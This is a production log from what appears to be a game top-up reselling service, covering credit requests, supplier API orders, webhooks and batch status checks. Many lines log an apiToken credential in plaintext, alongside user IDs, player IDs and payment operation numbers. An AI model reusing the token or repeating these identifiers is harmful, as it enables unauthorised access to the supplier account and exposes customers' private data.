[2026-03-24 17:11:01] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-HXpPu-1774361451","status":"completed","codes_count":0} 
[2026-03-24 17:11:03] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1665  
[2026-03-24 17:11:03] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1158  
[2026-03-24 17:11:10] production.INFO: Creating credit request {"payload":{"method_id":"13","amount":"700.0","mainamount":"700","operation_number":"158466398","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/phpun9kvd589b1re1ym1BZ"}},"user_id":1706} 
[2026-03-24 17:11:12] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 17:11:12] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 17:11:12] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 17:11:12] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 17:11:12] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 17:11:12] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 17:11:12] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 17:11:12] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 17:11:12] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18657,"user_id":1706,"amount":700.0,"admins_notified":7} 
[2026-03-24 17:11:39] production.INFO: Creating credit request {"payload":{"method_id":"13","amount":"1000.0","mainamount":"1000","operation_number":"158437528","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/phpf3rabl322996efNm3zM"}},"user_id":769} 
[2026-03-24 17:11:41] production.INFO: Constructing job for order: 178987  
[2026-03-24 17:11:42] production.INFO: Handling job for order: 178987  
[2026-03-24 17:11:42] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 17:11:42] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 17:11:42] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/626/params?qty=33000&uuid=ffa19866-0368-4f55-adab-e40899632f9c&Player_ID=7158345  
[2026-03-24 17:11:42] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/626/params?qty=33000&uuid=ffa19866-0368-4f55-adab-e40899632f9c&Player_ID=7158345","has_body":false} 
[2026-03-24 17:11:43] production.INFO: Operation sent successfully {"operation_id":163894,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-svib1s-1774361503","amount":4.13648069999999989931893651373684406280517578125,"status":"processing","product":"SoMatch Amount","game":"SoMatch","notes":[],"created_at":"2026-03-24 17:11:43"}},"processed_data":{"order_number":"ORD-svib1s-1774361503","amount":4.13648069999999989931893651373684406280517578125,"status":"processing","product":"SoMatch Amount","game":"SoMatch"}} 
[2026-03-24 17:11:48] production.INFO: Creating credit request {"payload":{"method_id":"13","amount":"1000.0","mainamount":"1000","operation_number":"158437528","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/phpgihpdan2shor4QInHWM"}},"user_id":769} 
[2026-03-24 17:11:54] production.INFO: Constructing job for order: 178988  
[2026-03-24 17:11:55] production.INFO: Handling job for order: 178988  
[2026-03-24 17:11:55] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 17:11:55] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 17:11:55] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=c3e272de-6f1d-4af1-82d4-d048a9e6de8b&Player_ID=52301072986  
[2026-03-24 17:11:55] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=c3e272de-6f1d-4af1-82d4-d048a9e6de8b&Player_ID=52301072986","has_body":false} 
[2026-03-24 17:11:56] production.INFO: Operation sent successfully {"operation_id":163895,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-Acr48W-1774361516","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 17:11:56"}},"processed_data":{"order_number":"ORD-Acr48W-1774361516","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 17:12:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"cOPlKqxioS8IXrPO9jUQd7p1oJBTAwMF","execution_time":"2026-03-24 17:12:02"} 
[2026-03-24 17:12:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"cOPlKqxioS8IXrPO9jUQd7p1oJBTAwMF","execution_time":"2026-03-24 17:12:02","total_operations":4,"sites_count":1} 
[2026-03-24 17:12:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"cOPlKqxioS8IXrPO9jUQd7p1oJBTAwMF","execution_time":"2026-03-24 17:12:02","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-j5G7ZL-1774360319","ORD-hmtDKp9-1774361425","ORD-svib1s-1774361503","ORD-Acr48W-1774361516"]} 
[2026-03-24 17:12:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"cOPlKqxioS8IXrPO9jUQd7p1oJBTAwMF","execution_time":"2026-03-24 17:12:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 17:12:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"cOPlKqxioS8IXrPO9jUQd7p1oJBTAwMF","execution_time":"2026-03-24 17:12:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 17:12:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"cOPlKqxioS8IXrPO9jUQd7p1oJBTAwMF","execution_time":"2026-03-24 17:12:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Acr48W-1774361516","operation_id":163895} 
[2026-03-24 17:12:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"cOPlKqxioS8IXrPO9jUQd7p1oJBTAwMF","execution_time":"2026-03-24 17:12:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-hmtDKp9-1774361425","operation_id":163891} 
[2026-03-24 17:12:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"cOPlKqxioS8IXrPO9jUQd7p1oJBTAwMF","execution_time":"2026-03-24 17:12:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j5G7ZL-1774360319","operation_id":163853} 
[2026-03-24 17:12:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"cOPlKqxioS8IXrPO9jUQd7p1oJBTAwMF","execution_time":"2026-03-24 17:12:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-svib1s-1774361503","operation_id":163894} 
[2026-03-24 17:12:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"cOPlKqxioS8IXrPO9jUQd7p1oJBTAwMF","execution_time":"2026-03-24 17:12:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-svib1s-1774361503","operation_id":163894,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 17:12:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"cOPlKqxioS8IXrPO9jUQd7p1oJBTAwMF","execution_time":"2026-03-24 17:12:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-svib1s-1774361503","operation_id":163894,"processed":0,"errors":0} 
[2026-03-24 17:12:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"cOPlKqxioS8IXrPO9jUQd7p1oJBTAwMF","execution_time":"2026-03-24 17:12:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-svib1s-1774361503","operation_id":163894} 
[2026-03-24 17:12:04] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-hmtDKp9-1774361425","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 17:12:04] production.INFO: Processed webhook data (normalized) {"id":"ORD-hmtDKp9-1774361425","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 17:12:04] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 17:12:04] production.INFO: SendAcceptReject: Notification queued {"user_id":862,"notification_type":"order_approved","reference_id":178984} 
[2026-03-24 17:12:04] production.INFO: Order updated successfully. Order ID: 178984, Status: completed  
[2026-03-24 17:12:04] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-hmtDKp9-1774361425","status":"completed","codes_count":0} 
[2026-03-24 17:12:05] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 862  
[2026-03-24 17:12:13] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-Acr48W-1774361516","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 17:12:13] production.INFO: Processed webhook data (normalized) {"id":"ORD-Acr48W-1774361516","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 17:12:13] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 17:12:13] production.INFO: SendAcceptReject: Notification queued {"user_id":1133,"notification_type":"order_approved","reference_id":178988} 
[2026-03-24 17:12:13] production.INFO: Order updated successfully. Order ID: 178988, Status: completed  
[2026-03-24 17:12:13] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-Acr48W-1774361516","status":"completed","codes_count":0} 
[2026-03-24 17:12:14] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1133  
[2026-03-24 17:14:00] production.INFO: Constructing job for order: 178989  
[2026-03-24 17:14:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"Mc7XPIvNhXaxD8I2TmSRiYyPhAb1HnPp","execution_time":"2026-03-24 17:14:02"} 
[2026-03-24 17:14:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"Mc7XPIvNhXaxD8I2TmSRiYyPhAb1HnPp","execution_time":"2026-03-24 17:14:02","total_operations":2,"sites_count":1} 
[2026-03-24 17:14:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"Mc7XPIvNhXaxD8I2TmSRiYyPhAb1HnPp","execution_time":"2026-03-24 17:14:02","site_id":3,"site_name":"swgamessd","orders_count":2,"order_ids":["ORD-j5G7ZL-1774360319","ORD-svib1s-1774361503"]} 
[2026-03-24 17:14:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"Mc7XPIvNhXaxD8I2TmSRiYyPhAb1HnPp","execution_time":"2026-03-24 17:14:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 17:14:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"Mc7XPIvNhXaxD8I2TmSRiYyPhAb1HnPp","execution_time":"2026-03-24 17:14:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 17:14:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"Mc7XPIvNhXaxD8I2TmSRiYyPhAb1HnPp","execution_time":"2026-03-24 17:14:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j5G7ZL-1774360319","operation_id":163853} 
[2026-03-24 17:14:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"Mc7XPIvNhXaxD8I2TmSRiYyPhAb1HnPp","execution_time":"2026-03-24 17:14:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-svib1s-1774361503","operation_id":163894,"processed":1,"skipped":1,"updates_prepared":1} 
[2026-03-24 17:14:03] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"Mc7XPIvNhXaxD8I2TmSRiYyPhAb1HnPp","execution_time":"2026-03-24 17:14:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-svib1s-1774361503","operation_id":163894,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 17:14:03] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"Mc7XPIvNhXaxD8I2TmSRiYyPhAb1HnPp","execution_time":"2026-03-24 17:14:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-svib1s-1774361503","operation_id":163894,"count":1} 
[2026-03-24 17:14:03] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"Mc7XPIvNhXaxD8I2TmSRiYyPhAb1HnPp","execution_time":"2026-03-24 17:14:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-svib1s-1774361503","operation_id":163894,"count":1} 
[2026-03-24 17:14:03] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"Mc7XPIvNhXaxD8I2TmSRiYyPhAb1HnPp","execution_time":"2026-03-24 17:14:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-svib1s-1774361503","operation_id":163894,"user_id":951,"notification_type":"order_approved","reference_id":178987} 
[2026-03-24 17:14:03] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"Mc7XPIvNhXaxD8I2TmSRiYyPhAb1HnPp","execution_time":"2026-03-24 17:14:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-svib1s-1774361503","operation_id":163894,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 17:14:03] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"Mc7XPIvNhXaxD8I2TmSRiYyPhAb1HnPp","execution_time":"2026-03-24 17:14:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-svib1s-1774361503","operation_id":163894,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 17:14:03] production.INFO: Batch update completed {"job":"Quryjob","job_id":"Mc7XPIvNhXaxD8I2TmSRiYyPhAb1HnPp","execution_time":"2026-03-24 17:14:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-svib1s-1774361503","operation_id":163894,"processed":1,"errors":0} 
[2026-03-24 17:14:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"Mc7XPIvNhXaxD8I2TmSRiYyPhAb1HnPp","execution_time":"2026-03-24 17:14:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-svib1s-1774361503","operation_id":163894,"processed":1,"errors":0} 
[2026-03-24 17:14:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"Mc7XPIvNhXaxD8I2TmSRiYyPhAb1HnPp","execution_time":"2026-03-24 17:14:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-svib1s-1774361503","operation_id":163894} 
[2026-03-24 17:14:03] production.INFO: Handling job for order: 178989  
[2026-03-24 17:14:03] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 17:14:03] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 17:14:03] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/561/params?qty=60000&uuid=1ac9e494-29b5-41e1-ad8d-98f48ceef343&Player_ID=3270271  
[2026-03-24 17:14:03] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/561/params?qty=60000&uuid=1ac9e494-29b5-41e1-ad8d-98f48ceef343&Player_ID=3270271","has_body":false} 
[2026-03-24 17:14:04] production.INFO: Operation sent successfully {"operation_id":163896,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-sSsRrG-1774361644","amount":4.4924160000000004089315552846528589725494384765625,"status":"processing","product":"Tami Amount","game":"Tami","notes":[],"created_at":"2026-03-24 17:14:04"}},"processed_data":{"order_number":"ORD-sSsRrG-1774361644","amount":4.4924160000000004089315552846528589725494384765625,"status":"processing","product":"Tami Amount","game":"Tami"}} 
[2026-03-24 17:14:04] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 951  
[2026-03-24 17:14:24] production.INFO: Constructing job for order: 178990  
[2026-03-24 17:14:25] production.INFO: Handling job for order: 178990  
[2026-03-24 17:14:25] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 17:14:25] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 17:14:25] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/57/params?qty=1&uuid=69a0d694-622d-4da4-88d3-46bfab5da335&Player_ID=5654964415  
[2026-03-24 17:14:25] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/57/params?qty=1&uuid=69a0d694-622d-4da4-88d3-46bfab5da335&Player_ID=5654964415","has_body":false} 
[2026-03-24 17:14:26] production.INFO: Operation sent successfully {"operation_id":163897,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-HWeTvU-1774361666","amount":44.36999999999999744204615126363933086395263671875,"status":"processing","product":"3000+850UC","game":"PUBG","notes":[],"created_at":"2026-03-24 17:14:26"}},"processed_data":{"order_number":"ORD-HWeTvU-1774361666","amount":44.36999999999999744204615126363933086395263671875,"status":"processing","product":"3000+850UC","game":"PUBG"}} 
[2026-03-24 17:15:02] production.INFO: Executing GetProducts task...  
[2026-03-24 17:15:02] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 17:15:02] production.INFO: Executing GetProducts task...  
[2026-03-24 17:15:04] production.INFO: async() رجع: true  
[2026-03-24 17:15:04] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 17:15:04] production.WARNING: Product with ID 395 not found  
[2026-03-24 17:15:04] production.WARNING: Product with ID 213 not found  
[2026-03-24 17:15:04] production.WARNING: Product with ID 212 not found  
[2026-03-24 17:15:04] production.WARNING: Product with ID 211 not found  
[2026-03-24 17:15:04] production.WARNING: Product with ID 210 not found  
[2026-03-24 17:15:04] production.WARNING: Product with ID 209 not found  
[2026-03-24 17:15:04] production.WARNING: Product with ID 214 not found  
[2026-03-24 17:15:04] production.WARNING: Product with ID 215 not found  
[2026-03-24 17:15:05] production.WARNING: Product with ID 216 not found  
[2026-03-24 17:15:05] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 17:15:16] production.INFO: Constructing job for order: 178991  
[2026-03-24 17:15:16] production.INFO: Creating credit request {"payload":{"method_id":"10","amount":"35.0","mainamount":"35","operation_number":"963940041603","note":"تم تحويل 36.00 New SYP بنجاح بتاريخ 24-03-2026 17:13:47 إلى 963940041603.","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/phpnhi8mmp4rr057DGItHO"}},"user_id":1285} 
[2026-03-24 17:15:17] production.INFO: Handling job for order: 178991  
[2026-03-24 17:15:17] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 17:15:17] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 17:15:17] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/778/params?qty=125000&uuid=d8c53858-5231-400c-b05a-372144f4ac65&Player_ID=777331  
[2026-03-24 17:15:17] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/778/params?qty=125000&uuid=d8c53858-5231-400c-b05a-372144f4ac65&Player_ID=777331","has_body":false} 
[2026-03-24 17:15:18] production.INFO: Operation sent successfully {"operation_id":163898,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-SJgaMNz-1774361718","amount":3.191400000000000236610731008113361895084381103515625,"status":"processing","product":"PotaLive","game":"PotaLive","notes":[],"created_at":"2026-03-24 17:15:18"}},"processed_data":{"order_number":"ORD-SJgaMNz-1774361718","amount":3.191400000000000236610731008113361895084381103515625,"status":"processing","product":"PotaLive","game":"PotaLive"}} 
[2026-03-24 17:15:22] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-SJgaMNz-1774361718","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 17:15:22] production.INFO: Processed webhook data (normalized) {"id":"ORD-SJgaMNz-1774361718","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 17:15:22] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 17:15:22] production.INFO: SendAcceptReject: Notification queued {"user_id":29,"notification_type":"order_approved","reference_id":178991} 
[2026-03-24 17:15:22] production.INFO: Order updated successfully. Order ID: 178991, Status: completed  
[2026-03-24 17:15:22] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-SJgaMNz-1774361718","status":"completed","codes_count":0} 
[2026-03-24 17:15:23] production.INFO: Constructing job for order: 178992  
[2026-03-24 17:15:24] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 29  
[2026-03-24 17:15:24] production.INFO: Handling job for order: 178992  
[2026-03-24 17:15:24] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 17:15:24] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 17:15:24] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/96/params?qty=15000&uuid=aab835c2-2fc8-49e0-aebd-1295c01e596e&Player_ID=58128781  
[2026-03-24 17:15:24] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/96/params?qty=15000&uuid=aab835c2-2fc8-49e0-aebd-1295c01e596e&Player_ID=58128781","has_body":false} 
[2026-03-24 17:15:25] production.INFO: Operation sent successfully {"operation_id":163899,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-4PmrJ-1774361724","amount":1.525735500000000133269395519164390861988067626953125,"status":"processing","product":"Poppo Amount","game":"PoppoLive","notes":[],"created_at":"2026-03-24 17:15:25"}},"processed_data":{"order_number":"ORD-4PmrJ-1774361724","amount":1.525735500000000133269395519164390861988067626953125,"status":"processing","product":"Poppo Amount","game":"PoppoLive"}} 
[2026-03-24 17:16:04] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"qwabnfvgFpKuxceof3eyWqShBaIQ16xx","execution_time":"2026-03-24 17:16:04"} 
[2026-03-24 17:16:04] production.INFO: Found pending operations {"job":"Quryjob","job_id":"qwabnfvgFpKuxceof3eyWqShBaIQ16xx","execution_time":"2026-03-24 17:16:04","total_operations":4,"sites_count":1} 
[2026-03-24 17:16:04] production.INFO: Processing site batch {"job":"Quryjob","job_id":"qwabnfvgFpKuxceof3eyWqShBaIQ16xx","execution_time":"2026-03-24 17:16:04","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-j5G7ZL-1774360319","ORD-sSsRrG-1774361644","ORD-HWeTvU-1774361666","ORD-4PmrJ-1774361724"]} 
[2026-03-24 17:16:04] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"qwabnfvgFpKuxceof3eyWqShBaIQ16xx","execution_time":"2026-03-24 17:16:04","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 17:16:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"qwabnfvgFpKuxceof3eyWqShBaIQ16xx","execution_time":"2026-03-24 17:16:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 17:16:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"qwabnfvgFpKuxceof3eyWqShBaIQ16xx","execution_time":"2026-03-24 17:16:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-4PmrJ-1774361724","operation_id":163899} 
[2026-03-24 17:16:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"qwabnfvgFpKuxceof3eyWqShBaIQ16xx","execution_time":"2026-03-24 17:16:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-HWeTvU-1774361666","operation_id":163897} 
[2026-03-24 17:16:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"qwabnfvgFpKuxceof3eyWqShBaIQ16xx","execution_time":"2026-03-24 17:16:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j5G7ZL-1774360319","operation_id":163853} 
[2026-03-24 17:16:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"qwabnfvgFpKuxceof3eyWqShBaIQ16xx","execution_time":"2026-03-24 17:16:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-sSsRrG-1774361644","operation_id":163896,"processed":1,"skipped":3,"updates_prepared":1} 
[2026-03-24 17:16:04] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"qwabnfvgFpKuxceof3eyWqShBaIQ16xx","execution_time":"2026-03-24 17:16:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-sSsRrG-1774361644","operation_id":163896,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 17:16:04] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"qwabnfvgFpKuxceof3eyWqShBaIQ16xx","execution_time":"2026-03-24 17:16:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-sSsRrG-1774361644","operation_id":163896,"count":1} 
[2026-03-24 17:16:04] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"qwabnfvgFpKuxceof3eyWqShBaIQ16xx","execution_time":"2026-03-24 17:16:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-sSsRrG-1774361644","operation_id":163896,"count":1} 
[2026-03-24 17:16:04] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"qwabnfvgFpKuxceof3eyWqShBaIQ16xx","execution_time":"2026-03-24 17:16:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-sSsRrG-1774361644","operation_id":163896,"user_id":1461,"notification_type":"order_approved","reference_id":178989} 
[2026-03-24 17:16:04] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"qwabnfvgFpKuxceof3eyWqShBaIQ16xx","execution_time":"2026-03-24 17:16:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-sSsRrG-1774361644","operation_id":163896,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 17:16:04] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"qwabnfvgFpKuxceof3eyWqShBaIQ16xx","execution_time":"2026-03-24 17:16:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-sSsRrG-1774361644","operation_id":163896,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 17:16:04] production.INFO: Batch update completed {"job":"Quryjob","job_id":"qwabnfvgFpKuxceof3eyWqShBaIQ16xx","execution_time":"2026-03-24 17:16:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-sSsRrG-1774361644","operation_id":163896,"processed":1,"errors":0} 
[2026-03-24 17:16:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"qwabnfvgFpKuxceof3eyWqShBaIQ16xx","execution_time":"2026-03-24 17:16:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-sSsRrG-1774361644","operation_id":163896,"processed":1,"errors":0} 
[2026-03-24 17:16:04] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"qwabnfvgFpKuxceof3eyWqShBaIQ16xx","execution_time":"2026-03-24 17:16:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-sSsRrG-1774361644","operation_id":163896} 
[2026-03-24 17:16:04] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1461  
[2026-03-24 17:16:05] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-sSsRrG-1774361644","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 17:16:05] production.INFO: Processed webhook data (normalized) {"id":"ORD-sSsRrG-1774361644","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 17:16:05] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 17:16:05] production.ERROR: Order not found or already processed. External ID: ORD-sSsRrG-1774361644  
